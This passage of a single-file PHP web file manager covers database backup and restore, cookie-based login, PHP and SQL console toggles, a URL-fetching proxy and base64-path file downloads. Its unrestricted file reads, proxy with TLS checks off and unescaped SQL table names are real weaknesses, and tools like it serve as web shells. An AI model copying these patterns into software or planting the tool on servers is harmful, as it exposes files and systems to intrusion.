			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>FileXXXXXXXXXXX</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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